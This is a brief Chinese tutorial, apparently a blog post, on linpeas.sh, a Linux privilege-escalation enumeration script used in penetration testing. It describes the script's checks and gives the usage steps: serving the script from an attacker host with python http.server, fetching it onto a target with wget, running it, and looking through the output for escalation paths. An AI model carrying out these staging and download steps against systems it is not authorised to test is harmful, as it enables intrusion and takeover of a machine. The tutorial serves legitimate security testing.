linpeas.sh脚本

linpeas.sh(Linux Privilege Escalation Script with Bash)是一个为信息安全研究人员和渗透测试人员设计的bash脚本。它用于在Linux系统中帮助发现权限提升(privilege escalation)的可能性。该脚本会执行一系列的检查,包括但不限于系统配置、软件版本、不安全的文件权限、错误配置的服务等,这些检查可能会揭示出可以利用的安全漏洞,从而允许攻击者或测试者从普通用户权限提升到更高的权限,例如root。

linpeas.sh 是社区中广泛使用的工具之一,它集合了许多常见的提权技术和方法,可以自动化地帮助测试者节省时间,而不是手动执行每一个检查步骤。

以下是linpeas.sh可能执行的一些操作:

  • 检查可用的内核模块和相关的攻击向量。
  • 查找拥有suid或guid权限的文件,这些文件可能被用来获取更高的权限。
  • 检查安装的包和它们的版本,以发现已知的易受攻击的版本。
  • 寻找配置不当的cron jobs或启动服务。
  • 查看环境变量和系统配置文件,寻找潜在的安全漏洞。
  • 等等。

一.使用步骤

 准备

下载
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
开启一个服务让目标下载
python3 -m http.server 8081
目标下载
wget rHost:8081/linpeas.sh

给予执行权限

下载或克隆脚本后,需要给予它执行权限:

chmod +x linpeas.sh

运行脚本

作为普通用户运行脚本,通常不需要root权限,因为它会尝试找到提升权限的方法:

./linpeas.sh

如果你希望将输出重定向到一个文件中,可以使用以下命令:

./linpeas.sh > linpeas_output.txt

分析输出 

脚本运行后,它会提供大量的信息,包括可能的安全问题和权限提升的方法。仔细分析这些输出,查找可以利用的点

尝试提权

根据脚本提供的信息,尝试使用推荐的方法来提升权限。这可能包括利用某些配置错误、使用特定的工具或技术。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值